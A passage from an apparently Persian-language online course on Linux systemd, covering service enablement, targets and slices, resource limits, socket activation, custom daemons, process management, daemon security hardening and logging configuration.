systemctl list-dependencies <service-name>

مثال برای nginx:

systemctl list-dependencies nginx

جمع‌بندی

  • برای فعال کردن اجرای خودکار یک سرویس در زمان بوت:
    systemctl enable <service-name>
    
  • برای بررسی اینکه آیا سرویس فعال است یا نه:
    systemctl is-enabled <service-name>
    
  • برای غیرفعال کردن اجرای خودکار یک سرویس:
    systemctl disable <service-name>
    
  • برای فعال‌سازی و اجرای هم‌زمان یک سرویس:
    systemctl enable --now <service-name>
    
  • برای غیرفعال‌سازی و توقف هم‌زمان یک سرویس:
    systemctl disable --now <service-name>
    
  • برای راه‌اندازی مجدد خودکار یک سرویس در صورت کرش کردن، باید Restart=always را در فایل unit آن تنظیم کنید.

با این تنظیمات، سرویس‌ها می‌توانند به‌طور خودکار پس از بوت اجرا شوند و حتی در صورت کرش، مجدداً راه‌اندازی شوند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت سرویس‌ها به صورت گروهی در systemd” subtitle=”توضیحات کامل”]در systemd، امکان مدیریت چندین سرویس به‌صورت گروهی وجود دارد. این کار از طریق targetها، sliceها و همچنین اجرای دستورات گروهی انجام می‌شود.


استفاده از target برای مدیریت گروهی سرویس‌ها

systemd از مفهومی به نام target استفاده می‌کند که می‌توان از آن برای راه‌اندازی یا توقف گروهی از سرویس‌ها استفاده کرد. یک target در systemd مشابه یک runlevel در SysVinit عمل می‌کند و می‌تواند شامل چندین سرویس باشد.

ایجاد یک target سفارشی برای مدیریت گروهی سرویس‌ها

۱. ابتدا یک فایل target جدید در مسیر /etc/systemd/system/ ایجاد کنید:

sudo nano /etc/systemd/system/custom-group.target

۲. محتوای زیر را در این فایل قرار دهید:

[Unit]
Description=Custom Service Group
Requires=nginx.service mysql.service
After=nginx.service mysql.service
  • مقدار Requires= مشخص می‌کند که این target شامل چه سرویس‌هایی است.
  • مقدار After= مشخص می‌کند که این سرویس‌ها در چه ترتیبی اجرا شوند.

۳. فایل را ذخیره کرده و systemd را ری‌لود کنید:

sudo systemctl daemon-reload

۴. برای راه‌اندازی گروهی این سرویس‌ها از دستور زیر استفاده کنید:

sudo systemctl start custom-group.target

۵. برای توقف تمامی سرویس‌های این گروه:

sudo systemctl stop custom-group.target

۶. اگر بخواهید این target پس از بوت فعال باشد، از دستور زیر استفاده کنید:

sudo systemctl enable custom-group.target

استفاده از Slice برای مدیریت منابع گروهی سرویس‌ها

systemd از قابلیتی به نام slice برای دسته‌بندی سرویس‌ها و کنترل منابع آن‌ها (CPU، RAM و I/O) استفاده می‌کند.

ایجاد یک slice برای گروهی از سرویس‌ها

۱. یک فایل جدید در مسیر /etc/systemd/system/custom-group.slice ایجاد کنید:

sudo nano /etc/systemd/system/custom-group.slice

۲. محتوای زیر را در فایل قرار دهید:

[Slice]
CPUQuota=50%
MemoryLimit=1G
  • مقدار CPUQuota=50% تعیین می‌کند که این گروه حداکثر ۵۰٪ از CPU را استفاده کند.
  • مقدار MemoryLimit=1G مشخص می‌کند که این گروه حداکثر ۱ گیگابایت رم استفاده کند.

۳. فایل را ذخیره کرده و systemd را ری‌لود کنید:

sudo systemctl daemon-reload

۴. حالا می‌توانیم سرویس‌های موردنظر را به این slice اضافه کنیم. برای مثال، برای nginx تنظیمات زیر را ویرایش می‌کنیم:

sudo mkdir -p /etc/systemd/system/nginx.service.d
sudo nano /etc/systemd/system/nginx.service.d/slice.conf

و این مقدار را در فایل قرار می‌دهیم:

[Service]
Slice=custom-group.slice

۵. سرویس را ری‌لود کرده و راه‌اندازی مجدد کنید:

sudo systemctl daemon-reload
sudo systemctl restart nginx

حال nginx تحت custom-group.slice اجرا می‌شود و از محدودیت‌های آن پیروی می‌کند.


اجرای دستورات به‌صورت گروهی برای چندین سرویس

برای مدیریت چندین سرویس هم‌زمان می‌توان از دستورات systemctl به‌صورت گروهی استفاده کرد:

راه‌اندازی چندین سرویس هم‌زمان
sudo systemctl start nginx mysql redis
متوقف کردن چندین سرویس هم‌زمان
sudo systemctl stop nginx mysql redis
بررسی وضعیت چندین سرویس به‌صورت هم‌زمان
sudo systemctl status nginx mysql redis
فعال‌سازی چندین سرویس برای راه‌اندازی خودکار پس از بوت
sudo systemctl enable nginx mysql redis
غیرفعال کردن چندین سرویس
sudo systemctl disable nginx mysql redis

جمع‌بندی

  • برای مدیریت گروهی سرویس‌ها می‌توان از targetها در systemd استفاده کرد.
  • برای کنترل منابع چندین سرویس به‌صورت هم‌زمان، می‌توان از slice استفاده کرد.
  • امکان اجرای دستورات systemctl برای چندین سرویس هم‌زمان وجود دارد.
  • برای مشاهده وضعیت سرویس‌های گروهی، می‌توان systemctl status را برای چندین سرویس اجرا کرد.

با این روش‌ها می‌توان مدیریت سرویس‌ها را به‌صورت گروهی انجام داد و عملکرد سیستم را بهینه‌تر کنترل کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات سرویس‌ها برای مقیاس‌پذیری و بهره‌وری بالا در systemd” subtitle=”توضیحات کامل”]برای بهینه‌سازی عملکرد سرویس‌ها و افزایش مقیاس‌پذیری، باید تنظیمات systemd را به‌گونه‌ای تغییر دهیم که بهره‌وری به حداکثر برسد. این کار شامل مدیریت منابع، بهینه‌سازی راه‌اندازی سرویس‌ها، استفاده از cgroups، socket activation و تنظیم restart policy است.


استفاده از Limitها برای مدیریت منابع سرویس‌ها

systemd به شما این امکان را می‌دهد که منابعی مانند CPU، حافظه و تعداد فایل‌های باز را برای هر سرویس محدود کنید.

محدود کردن استفاده از CPU و حافظه برای یک سرویس

۱. ویرایش فایل واحد سرویس (برای مثال nginx.service):

sudo nano /etc/systemd/system/nginx.service

۲. اضافه کردن تنظیمات زیر در بخش [Service]:

[Service]
CPUQuota=80%               # محدود کردن مصرف CPU به ۸۰٪
MemoryHigh=500M            # اولویت بالا برای محدودیت حافظه روی ۵۰۰ مگابایت
MemoryMax=1G               # جلوگیری از مصرف بیش از ۱ گیگابایت حافظه
LimitNOFILE=65535          # افزایش تعداد فایل‌های باز هم‌زمان

۳. ذخیره فایل و ری‌لود systemd:

sudo systemctl daemon-reload
sudo systemctl restart nginx

فعال‌سازی Restart Policy برای افزایش پایداری سرویس‌ها

سرویس‌ها ممکن است به دلیل مشکلاتی مانند خطاهای داخلی یا کمبود منابع متوقف شوند. systemd قابلیت تنظیم سیاست‌های restart را فراهم می‌کند تا در صورت توقف، سرویس به‌صورت خودکار مجدداً راه‌اندازی شود.

تنظیم ری‌استارت خودکار برای یک سرویس

۱. ویرایش فایل واحد سرویس:

sudo nano /etc/systemd/system/myapp.service

۲. اضافه کردن تنظیمات زیر:

[Service]
Restart=always
RestartSec=5s
StartLimitInterval=30s
StartLimitBurst=5

۳. ذخیره و بارگذاری مجدد تنظیمات:

sudo systemctl daemon-reload
sudo systemctl restart myapp

استفاده از Socket Activation برای افزایش بهره‌وری

در systemd می‌توان از socket activation برای اجرای سرویس‌ها فقط در صورت نیاز استفاده کرد. این روش منابع سیستم را بهتر مدیریت می‌کند.

ایجاد socket برای یک سرویس

۱. ایجاد فایل socket در مسیر /etc/systemd/system/myapp.socket:

sudo nano /etc/systemd/system/myapp.socket

۲. اضافه کردن محتوای زیر:

[Socket]
ListenStream=8080
Accept=yes

[Install]
WantedBy=sockets.target

۳. ایجاد فایل سرویس مرتبط /etc/systemd/system/myapp.service:

sudo nano /etc/systemd/system/myapp.service

۴. اضافه کردن محتوای زیر:

[Unit]
Description=My Scalable Application
Requires=myapp.socket
After=network.target

[Service]
ExecStart=/usr/bin/myapp
StandardInput=socket
Restart=always

۵. بارگذاری تنظیمات و راه‌اندازی socket:

sudo systemctl daemon-reload
sudo systemctl enable myapp.socket
sudo systemctl start myapp.socket

با این روش، systemd فقط در صورت دریافت درخواست روی پورت ۸۰۸۰، برنامه را اجرا خواهد کرد.


استفاده از cgroups برای کنترل مصرف منابع

برای محدود کردن استفاده از منابع توسط یک گروه از سرویس‌ها، می‌توان از cgroups در systemd استفاده کرد.

ایجاد slice برای گروهی از سرویس‌ها

۱. ایجاد فایل /etc/systemd/system/limited.slice:

sudo nano /etc/systemd/system/limited.slice

۲. اضافه کردن محدودیت‌های منابع:

[Slice]
CPUQuota=50%
MemoryLimit=2G

۳. اعمال این محدودیت به یک سرویس خاص (مثلاً nginx):

sudo mkdir -p /etc/systemd/system/nginx.service.d
sudo nano /etc/systemd/system/nginx.service.d/slice.conf

۴. اضافه کردن تنظیمات زیر:

[Service]
Slice=limited.slice

۵. ذخیره و اعمال تغییرات:

sudo systemctl daemon-reload
sudo systemctl restart nginx

استفاده از systemd-analyze برای بهینه‌سازی بوت سرویس‌ها

برای بررسی زمان راه‌اندازی سرویس‌ها می‌توان از ابزار systemd-analyze blame استفاده کرد:

systemd-analyze blame

برای مشاهده نمودار وابستگی سرویس‌ها:

systemd-analyze plot > boot.svg

جمع‌بندی

  • محدود کردن مصرف منابع سرویس‌ها با CPUQuota و MemoryLimit
  • فعال کردن Restart Policy برای جلوگیری از توقف ناگهانی سرویس‌ها
  • استفاده از Socket Activation برای افزایش بهره‌وری سرویس‌ها
  • کنترل منابع با cgroups و slice
  • بررسی و بهینه‌سازی زمان راه‌اندازی سرویس‌ها با systemd-analyze

با این تنظیمات، سرویس‌های شما مقیاس‌پذیرتر و بهره‌ورتر خواهند شد.[/cdb_course_lesson][cdb_course_lesson title=”فصل 6. پیکربندی و مدیریت Daemon‌ها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ایجاد و پیکربندی Daemon‌ها برای سرویس‌های سفارشی” subtitle=”توضیحات کامل”]در لینوکس، یک Daemon برنامه‌ای است که در پس‌زمینه اجرا می‌شود و معمولاً وظایف خاصی را بدون نیاز به تعامل مستقیم کاربر انجام می‌دهد. systemd امکان ایجاد و مدیریت Daemonهای سفارشی را از طریق Unit Files فراهم می‌کند. در این بخش، نحوه ایجاد یک Daemon سفارشی، تنظیمات آن و اجرای خودکار پس از بوت بررسی می‌شود.


ایجاد یک اسکریپت برای Daemon

قبل از ایجاد سرویس systemd، ابتدا باید اسکریپت اجرایی Daemon را ایجاد کنیم.

ایجاد فایل اجرایی
sudo nano /usr/local/bin/mydaemon.sh
اضافه کردن محتوای زیر:
#!/bin/bash

while true; do
    echo "MyDaemon is running: $(date)" >> /var/log/mydaemon.log
    sleep 10
done
تغییر سطح دسترسی برای اجرای اسکریپت:
sudo chmod +x /usr/local/bin/mydaemon.sh

ایجاد و پیکربندی فایل Unit برای Daemon

ایجاد فایل Unit در مسیر /etc/systemd/system/mydaemon.service
sudo nano /etc/systemd/system/mydaemon.service
اضافه کردن تنظیمات سرویس
[Unit]
Description=My Custom Daemon
After=network.target

[Service]
ExecStart=/usr/local/bin/mydaemon.sh
Restart=always
User=nobody
Group=nogroup
StandardOutput=append:/var/log/mydaemon.log
StandardError=append:/var/log/mydaemon.log

[Install]
WantedBy=multi-user.target
توضیحات تنظیمات:
  • Description توضیحی درباره سرویس است.
  • After=network.target باعث می‌شود این سرویس بعد از آماده شدن شبکه اجرا شود.
  • ExecStart مسیر اسکریپت را مشخص می‌کند.
  • Restart=always باعث می‌شود که سرویس در صورت توقف، مجدداً اجرا شود.
  • User و Group برای افزایش امنیت، سرویس را تحت یک کاربر غیر‌مدیر اجرا می‌کند.
  • StandardOutput و StandardError خروجی‌ها را به یک فایل لاگ هدایت می‌کنند.

فعال‌سازی و اجرای Daemon

بارگذاری مجدد systemd برای شناسایی سرویس جدید
sudo systemctl daemon-reload
فعال‌سازی سرویس برای اجرای خودکار بعد از بوت
sudo systemctl enable mydaemon
شروع به اجرای سرویس
sudo systemctl start mydaemon
بررسی وضعیت سرویس
sudo systemctl status mydaemon

خروجی باید مشابه زیر باشد:

● mydaemon.service - My Custom Daemon
   Loaded: loaded (/etc/systemd/system/mydaemon.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2025-03-01 12:34:56 UTC; 5s ago
 Main PID: 12345 (bash)
    Tasks: 1 (limit: 4915)
   Memory: 1.2M
   CGroup: /system.slice/mydaemon.service
           ├─12345 /bin/bash /usr/local/bin/mydaemon.sh

بررسی لاگ‌های سرویس

sudo journalctl -u mydaemon --no-pager

یا بررسی مستقیم فایل لاگ:

cat /var/log/mydaemon.log

توقف و غیرفعال‌سازی Daemon

توقف سرویس
sudo systemctl stop mydaemon
غیرفعال‌سازی اجرای خودکار بعد از بوت
sudo systemctl disable mydaemon
حذف فایل Unit
sudo rm /etc/systemd/system/mydaemon.service
حذف اسکریپت اجرایی
sudo rm /usr/local/bin/mydaemon.sh

جمع‌بندی

  • Daemonهای سفارشی در systemd را می‌توان از طریق یک اسکریپت ساده و فایل service پیکربندی کرد.
  • systemd قابلیت‌های پیشرفته‌ای مانند مدیریت خطاها، اجرای مجدد در صورت توقف و ثبت خروجی در لاگ‌ها را فراهم می‌کند.
  • از journalctl و لاگ‌های سفارشی برای عیب‌یابی سرویس استفاده کنید.
  • در صورت نیاز، می‌توان محدودیت‌های منابع و مدیریت دسترسی‌ها را به سرویس اضافه کرد.

با این روش، می‌توان Daemonهای سفارشی را به‌صورت استاندارد در سیستم مدیریت کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی و مدیریت فرآیندهای در حال اجرا در پس‌زمینه” subtitle=”توضیحات کامل”]فرآیندهایی که در پس‌زمینه اجرا می‌شوند، معمولاً بدون نیاز به تعامل مستقیم کاربر، عملیات خاصی را انجام می‌دهند. در لینوکس، ابزارهای متعددی برای بررسی، مدیریت و کنترل این فرآیندها وجود دارد. در این بخش، روش‌های مدیریت فرآیندهای پس‌زمینه، شناسایی آن‌ها، ارسال سیگنال‌ها و پایان دادن به فرآیندهای ناخواسته بررسی می‌شود.


بررسی فرآیندهای پس‌زمینه

نمایش فرآیندهای اجرا شده در پس‌زمینه توسط کاربر جاری
jobs -l
مشاهده همه فرآیندهای در حال اجرا
ps aux

یا نمایش فرآیندهای خاص مرتبط با یک کاربر

ps -u username
نمایش فرآیندهای پس‌زمینه در ساختار درختی
pstree -p

اجرای یک فرآیند در پس‌زمینه

برای اجرای یک دستور در پس‌زمینه، می‌توان از & استفاده کرد.

command &

مثال:

ping google.com > ping.log 2>&1 &

برای مشاهده PID فرآیند پس‌زمینه‌ای که ایجاد شده است:

echo $!

متوقف کردن و ادامه دادن فرآیندهای پس‌زمینه

متوقف کردن (Suspend) یک فرآیند
Ctrl + Z

سپس می‌توان فرآیند را به دو روش ادامه داد:

  1. ادامه اجرای فرآیند در پس‌زمینه:
bg %job_id
  1. ادامه اجرای فرآیند در پیش‌زمینه:
fg %job_id

خاتمه دادن به فرآیندهای پس‌زمینه

استفاده از kill برای پایان دادن به فرآیند
kill PID

مثال:

kill 1234
ارسال سیگنال SIGKILL برای خاتمه اجباری
kill -9 PID
خاتمه فرآیندهای متعلق به یک نام خاص
pkill process_name

مثال:

pkill firefox
خاتمه تمامی فرآیندهای یک کاربر خاص
pkill -u username
خاتمه تمامی فرآیندهای اجراشده توسط کاربر جاری
killall process_name

بررسی فرآیندهای در حال اجرا با top و htop

مشاهده مصرف منابع توسط فرآیندها با top
top

برای مرتب‌سازی بر اساس مصرف CPU:

top -o %CPU
استفاده از htop برای مشاهده و مدیریت بهتر فرآیندها
htop

در htop، می‌توان با کلید F9 فرآیندها را پایان داد.


تغییر اولویت فرآیندها

کاهش یا افزایش اولویت (Nice Value) یک فرآیند
renice -n nice_value -p PID

مثال:

renice -n 10 -p 1234
اجرای یک فرآیند با اولویت پایین‌تر از ابتدا
nice -n 10 command

انتقال یک فرآیند بین پس‌زمینه و پیش‌زمینه

ارسال یک فرآیند به پس‌زمینه
bg %job_id
بازگرداندن یک فرآیند به پیش‌زمینه
fg %job_id

جمع‌بندی

  • برای بررسی فرآیندهای در حال اجرا از ps، top و htop استفاده کنید.
  • برای متوقف کردن، ادامه دادن و مدیریت فرآیندهای پس‌زمینه از jobs، fg و bg استفاده کنید.
  • برای خاتمه فرآیندها از kill، pkill و killall استفاده کنید.
  • با استفاده از renice و nice می‌توان اولویت پردازشی فرآیندها را تغییر داد.
  • htop ابزاری گرافیکی برای مدیریت بهتر فرآیندهای سیستم است.

با این روش‌ها، می‌توان فرآیندهای در حال اجرای پس‌زمینه را کنترل و مدیریت کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات امنیتی Daemon‌ها” subtitle=”توضیحات کامل”]Daemonها (سرویس‌های پس‌زمینه) معمولاً دارای دسترسی‌های سطح بالا هستند و در صورت تنظیم نادرست، می‌توانند باعث نفوذ امنیتی شوند. برای ایمن‌سازی Daemonها، باید سطح دسترسی، ایزوله‌سازی، محدودیت‌های منابع و لاگینگ مناسب اعمال شود. در این بخش، روش‌های مختلف تنظیمات امنیتی Daemonها همراه با دستورات کاربردی بررسی می‌شود.


محدود کردن دسترسی Daemonها به کاربران خاص

اجرای Daemonها با یک کاربر غیرممتاز

بهتر است Daemonها را تحت کاربری با حداقل مجوز اجرا کنید. بسیاری از Daemonها این قابلیت را دارند که تحت یک کاربر خاص اجرا شوند.

مثال: اجرای یک سرویس با یک کاربر خاص در systemd:

[Service]
User=nobody
Group=nobody

ویرایش فایل یونیت در مسیر زیر:

/etc/systemd/system/mydaemon.service

سپس اعمال تغییرات و راه‌اندازی مجدد سرویس:

systemctl daemon-reload
systemctl restart mydaemon

ایزوله‌سازی Daemonها با chroot

ایجاد یک محیط ایزوله (chroot jail) برای اجرای Daemon
mkdir -p /srv/chroot/mydaemon
chroot /srv/chroot/mydaemon /bin/bash

در تنظیمات systemd نیز می‌توان از ProtectSystem برای محدود کردن دسترسی استفاده کرد:

[Service]
ProtectSystem=full
ProtectHome=yes

محدود کردن منابع Daemon با cgroups

تنظیم محدودیت‌های CPU و حافظه در systemd
[Service]
CPUQuota=50%
MemoryLimit=256M

پس از اعمال تغییرات در فایل /etc/systemd/system/mydaemon.service:

systemctl daemon-reexec
systemctl restart mydaemon

افزایش امنیت با قابلیت‌های لینوکس (Linux Capabilities)

کاهش سطح دسترسی فرآیند بدون نیاز به root
[Service]
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
NoNewPrivileges=yes

جلوگیری از اجرای غیرمجاز با SELinux/AppArmor

فعال‌سازی SELinux برای کنترل مجوزها
setenforce 1
semanage boolean -m --on httpd_can_network_connect
تنظیم پروفایل AppArmor برای یک Daemon
aa-enforce /etc/apparmor.d/usr.sbin.mydaemon

استفاده از sandboxing برای ایزوله‌سازی

فعال‌سازی sandbox در systemd
[Service]
ProtectKernelModules=yes
ProtectKernelLogs=yes
PrivateTmp=yes

محدود کردن دسترسی به شبکه

تنظیمات محدودیت شبکه در systemd
[Service]
IPAddressDeny=192.168.1.0/24
RestrictAddressFamilies=AF_INET AF_INET6

بررسی لاگ‌های امنیتی Daemon

مشاهده لاگ‌های systemd برای سرویس خاص
journalctl -u mydaemon --no-pager
محدود کردن سطح لاگ‌ها در systemd
[Service]
LogLevelMax=info

جمع‌بندی

  • اجرای Daemonها با یک کاربر غیرممتاز برای کاهش خطرات امنیتی
  • استفاده از chroot و systemd sandboxing برای ایزوله‌سازی
  • اعمال محدودیت‌های منابع با cgroups برای جلوگیری از سوءاستفاده از سیستم
  • کاهش سطح دسترسی با Linux Capabilities برای محدود کردن مجوزها
  • فعال‌سازی SELinux/AppArmor برای کنترل دقیق‌تر دسترسی‌ها
  • محدود کردن دسترسی به شبکه در systemd برای جلوگیری از ارتباط ناخواسته
  • بررسی مداوم لاگ‌ها برای شناسایی مشکلات امنیتی

با این تنظیمات، می‌توان Daemonها را با سطح امنیتی بالاتر پیکربندی کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی Logging برای Daemon‌ها” subtitle=”توضیحات کامل”]برای مدیریت لاگ‌ها در Daemon‌ها و سرویس‌های پس‌زمینه، استفاده از سیستم‌های لاگ‌برداری مانند systemd journal و syslog بسیار مهم است. این سیستم‌ها کمک می‌کنند تا اطلاعات مربوط به عملکرد، خطاها و رویدادهای مختلف سرویس‌ها ذخیره و در صورت نیاز بررسی شوند. در این بخش به پیکربندی Logging برای Daemon‌ها خواهیم پرداخت.


استفاده از systemd Journal برای ذخیره لاگ‌ها

systemd به صورت پیش‌فرض از journal برای ذخیره لاگ‌ها استفاده می‌کند. می‌توانیم تنظیمات مربوط به ذخیره‌سازی و نمایش لاگ‌ها را از طریق فایل‌های یونیت (Unit Files) سیستم انجام دهیم.

فعال‌سازی ذخیره‌سازی دائمی لاگ‌ها

به صورت پیش‌فرض، لاگ‌ها در RAM ذخیره می‌شوند و پس از ریستارت سیستم پاک می‌شوند. برای ذخیره‌سازی دائمی لاگ‌ها، باید تنظیمات /etc/systemd/journald.conf را تغییر دهیم.

  1. ویرایش فایل journald.conf:
sudo nano /etc/systemd/journald.conf
  1. تنظیمات زیر را اضافه یا تغییر دهید:
[Journal]
Storage=persistent
  1. پس از ذخیره‌سازی فایل، systemd-journald را ریستارت کنید:
sudo systemctl restart systemd-journald

تنظیم سطح لاگ‌ها در systemd

در systemd، می‌توانید سطح لاگ‌ها را برای Daemon‌ها تنظیم کنید تا فقط رویدادهای با اهمیت مشخصی ذخیره شوند. برای مثال، می‌توانید سطح لاگ را از debug به info یا warning تغییر دهید.

تنظیم سطح لاگ برای یک سرویس در فایل یونیت systemd
  1. فایل یونیت سرویس خود را ویرایش کنید:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را اضافه یا تغییر دهید:
[Service]
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=mydaemon
LogLevelMax=info

در اینجا:

  • StandardOutput=syslog و StandardError=syslog به معنای هدایت خروجی‌ها به syslog است.
  • SyslogIdentifier=mydaemon به شما کمک می‌کند تا لاگ‌های مربوط به سرویس خود را شناسایی کنید.
  • LogLevelMax=info به معنای ذخیره فقط لاگ‌های با سطح info و بالاتر است.
  1. پس از تغییرات، سرویس را ریستارت کنید:
sudo systemctl daemon-reload
sudo systemctl restart mydaemon

استفاده از syslog برای لاگ‌برداری

syslog یکی از قدیمی‌ترین و پرکاربردترین ابزارها برای مدیریت لاگ‌ها است. این ابزار معمولاً برای ذخیره لاگ‌های سیستم و سرویس‌ها در بسیاری از توزیع‌های لینوکسی به کار می‌رود.

تنظیم syslog برای ذخیره لاگ‌ها

برای ارسال لاگ‌های سیستم به syslog، می‌توانید در فایل یونیت systemd تنظیمات زیر را اعمال کنید:

  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای هدایت لاگ‌ها به syslog اضافه کنید:
[Service]
SyslogIdentifier=mydaemon
StandardOutput=syslog
StandardError=syslog

این تنظیمات به شما این امکان را می‌دهند که لاگ‌ها را به syslog ارسال کرده و سپس در ابزارهایی مانند rsyslog یا syslog-ng ذخیره و مدیریت کنید.

  1. بعد از اعمال تغییرات، سرویس را ریستارت کنید:
sudo systemctl daemon-reload
sudo systemctl restart mydaemon

پیکربندی ذخیره‌سازی دقیق لاگ‌ها با Logrotate

برای جلوگیری از افزایش حجم بیش از حد لاگ‌ها، می‌توانید از logrotate برای مدیریت و چرخش لاگ‌ها استفاده کنید. این ابزار به شما کمک می‌کند تا لاگ‌های قدیمی را حذف یا آرشیو کنید.

تنظیمات logrotate برای Daemon
  1. فایل پیکربندی مربوط به Daemon خود را در /etc/logrotate.d/ ایجاد یا ویرایش کنید. به طور مثال:
sudo nano /etc/logrotate.d/mydaemon
  1. تنظیمات زیر را در این فایل اضافه کنید:
/var/log/mydaemon.log {
    daily
    missingok
    rotate 7
    compress
    notifempty
    create 0640 root root
}

در اینجا:

  • daily به معنای چرخش لاگ‌ها هر روز است.
  • rotate 7 به معنای نگهداری 7 نسخه آخر از لاگ‌ها است.
  • compress به معنای فشرده‌سازی لاگ‌های قدیمی است.
  1. پس از ذخیره تغییرات، logrotate به طور خودکار وظیفه خود را انجام خواهد داد.

جمع‌بندی

  • systemd journal به صورت پیش‌فرض برای ذخیره‌سازی لاگ‌ها استفاده می‌شود و می‌توان آن را برای ذخیره‌سازی دائمی پیکربندی کرد.
  • سطح لاگ‌ها را می‌توان از طریق فایل یونیت systemd تنظیم کرد تا فقط رویدادهای مهم ذخیره شوند.
  • برای ارسال لاگ‌ها به syslog می‌توان از تنظیمات StandardOutput=syslog و StandardError=syslog در systemd استفاده کرد.
  • برای مدیریت حجم لاگ‌ها، می‌توان از logrotate برای چرخش و فشرده‌سازی لاگ‌ها استفاده کرد.

با اعمال این تنظیمات، می‌توان از یک سیستم log management مؤثر و ایمن برای Daemon‌ها و سرویس‌ها برخوردار شد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات ویژه برای افزایش امنیت و پایداری Daemon‌ها” subtitle=”توضیحات کامل”]یکی از نکات مهم در پیکربندی و مدیریت Daemon‌ها، افزایش امنیت و پایداری آنهاست. Daemon‌ها به دلیل اجرای دائمی و دسترسی به منابع سیستم، ممکن است هدف حملات قرار بگیرند یا مشکلاتی در عملکرد آنها به وجود آید که تأثیرات منفی زیادی روی سیستم می‌گذارد. در این بخش، به بررسی تنظیمات و پیکربندی‌های ویژه برای افزایش امنیت و پایداری Daemon‌ها می‌پردازیم.


۱. محدود کردن دسترسی‌ها با استفاده از User و Group

برای کاهش ریسک حملات و محدود کردن دسترسی Daemon‌ها به سیستم، می‌توانیم Daemon‌ها را تحت کاربر و گروه خاصی اجرا کنیم. این تنظیم باعث می‌شود که Daemon‌ها تنها به منابع خاص خود دسترسی داشته باشند و از دسترسی به سایر بخش‌های سیستم جلوگیری شود.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای مشخص کردن کاربر و گروه اضافه کنید:
[Service]
User=daemonuser
Group=daemongroup

در اینجا:

  • User=daemonuser به معنای اجرای Daemon تحت کاربر daemonuser است.
  • Group=daemongroup به معنای اجرای Daemon تحت گروه daemongroup است.
  1. بعد از اعمال تغییرات، سرویس را ریستارت کنید:
sudo systemctl daemon-reload
sudo systemctl restart mydaemon

۲. استفاده از AmbientCapabilities برای محدود کردن دسترسی‌های ویژه

برای کاهش خطر حملات و اعمال محدودیت‌های بیشتر روی Daemon‌ها، می‌توانیم از تنظیمات AmbientCapabilities برای محدود کردن دسترسی‌های ویژه استفاده کنیم. این ویژگی به شما این امکان را می‌دهد که قابلیت‌های خاصی را که Daemon می‌تواند از آنها استفاده کند، مشخص کنید.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای اعمال محدودیت‌های بیشتر اضافه کنید:
[Service]
AmbientCapabilities=CAP_NET_BIND_SERVICE

در اینجا:

  • CAP_NET_BIND_SERVICE به Daemon اجازه می‌دهد که به پورت‌های خاصی که برای کاربرهای عادی محدود شده‌اند، دسترسی پیدا کند (برای مثال پورت‌های زیر 1024).

۳. استفاده از RestrictAddressFamilies برای محدود کردن پروتکل‌های شبکه

یکی از روش‌های مؤثر برای بهبود امنیت Daemon‌ها، محدود کردن دسترسی به پروتکل‌های شبکه خاص است. می‌توانیم از RestrictAddressFamilies برای محدود کردن Daemon به پروتکل‌های شبکه خاص مانند inet (IPv4) یا inet6 (IPv6) استفاده کنیم.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای محدود کردن پروتکل‌ها اضافه کنید:
[Service]
RestrictAddressFamilies=AF_INET

در اینجا:

  • AF_INET به معنای محدود کردن Daemon به پروتکل IPv4 است. در صورت نیاز به IPv6، می‌توان از AF_INET6 استفاده کرد.

۴. استفاده از NoNewPrivileges برای جلوگیری از ارتقاء دسترسی‌ها

یکی از تهدیدات امنیتی معمول در Daemon‌ها، امکان ارتقاء دسترسی‌ها (Privilege Escalation) توسط فرآیندها است. برای جلوگیری از این مسئله، می‌توان از ویژگی NoNewPrivileges استفاده کرد که از ارتقاء دسترسی‌ها جلوگیری می‌کند.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای فعال‌سازی این ویژگی اضافه کنید:
[Service]
NoNewPrivileges=true

این تنظیم باعث می‌شود که Daemon از هیچ‌گونه ارتقاء دسترسی برخوردار نباشد.


۵. استفاده از ProtectSystem برای محافظت از سیستم فایل

برای کاهش خطرات امنیتی ناشی از دسترسی غیرمجاز به سیستم فایل، می‌توان از ویژگی ProtectSystem برای محافظت از مسیرهای خاص سیستم فایل استفاده کرد. این ویژگی می‌تواند تمام سیستم فایل‌ها را از دسترسی‌های غیرمجاز محافظت کند.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای فعال‌سازی این ویژگی اضافه کنید:
[Service]
ProtectSystem=full

در اینجا:

  • ProtectSystem=full به معنای محافظت کامل از سیستم فایل است و از تغییرات عمدی یا غیرعمدی جلوگیری می‌کند.

۶. استفاده از TimeoutSec برای محدود کردن زمان اجرای سرویس‌ها

